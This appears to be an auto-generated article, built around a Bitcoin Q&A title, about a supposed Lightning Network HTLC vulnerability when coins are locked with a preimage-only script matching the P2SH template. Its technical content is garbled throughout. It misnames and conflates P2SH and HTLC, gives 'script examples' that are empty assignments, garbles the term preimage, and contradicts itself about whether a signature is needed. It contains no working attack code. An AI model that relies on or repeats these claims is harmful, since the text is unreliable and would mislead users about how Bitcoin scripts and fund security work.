Bitcoin: What if someone locks some bitcoin with a script which only requires a user to know a preimage, but it matches the p2sh template? [duplicate]

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Potential Lightning Network HTLC Vulnerability

As more and more people delve into the world of Bitcoin and Lightning Network (LN) transactions, the security and reliability of these systems are becoming increasingly important topics of discussion. One aspect that has aroused curiosity is how to create a trusted environment for Lightning Network transactions using the Hash-Address-Pubkey Script Template (p2sh), also known as HTLC.

However, there is a potential flaw in this setup that could compromise the security of these transactions. In this article, we will examine what happens when someone locks down a particular Bitcoin script that requires the user to know only the raw image but matches the p2sh template.

Hash-Address-Pubkey Script Template (p2sh) Basics

Before we dive into the potential vulnerabilities, let’s quickly review how HTLC works. In a Lightning Network transaction, multiple users can “lock” Bitcoin by creating a script that contains a public key and a hash of a certain value. This public key is used to validate the lock, and when a user tries to spend the locked funds, they must know the forward image (i.e., the initial value) associated with their public key.

The HTLC output uses the p2sh template, which provides a secure way to transfer Bitcoin from one wallet to another. The basic syntax of the p2sh template is as follows:

 scriptPubKey = ; hash = ; tx_outs = ; outputs = ; script_signing_key = ; tx_signature = ;

HTLC output includes a conditional branch that requires the user to know the hash image before spending their funds. The condition is met if the user provides a valid lock signature and also verifies that the script’s public key matches the one used to create the lock.

Potential vulnerability: pre-image HTLC with script matching

Let’s now introduce a potential vulnerability by creating a script that only requires a pre-image but still matches the p2sh template. Here is an example of such a script:

 scriptPubKey = ; hash = ; tx_outs = ;
outputs = [1];
script_signing_key = ;
tx_signature = ;

In this example, the script only requires a pre-hash image (i.e., the seed value) but still follows the p2sh pattern. This means that if someone tries to lock Bitcoin using this script, they don’t need to know the seed image, but they still need to provide a valid signature for the lock and ensure that their public key matches the one used to create the lock.

Conclusion

While this is not a simple problem, creating an HTLC that only requires a pre-hash image but still follows the p2sh pattern can introduce security vulnerabilities in Lightning Network transactions. This is because the HTLC output condition checks that the signature is valid and that the public key matches the correct one.

To mitigate this risk, it is important to remember that users should always verify their wallet public keys when creating or spending funds to ensure that they are using the correct wallet for a given transaction. Additionally, developers should consider implementing more robust security measures, such as additional checks beyond signature verification and pre-image hashing.

In conclusion, understanding potential vulnerabilities such as this one is essential to maintaining secure and reliable Lightning Network transaction systems. As we continue to explore the complexities of blockchain technology, it is crucial to stay informed about the latest developments in securing these critical systems.

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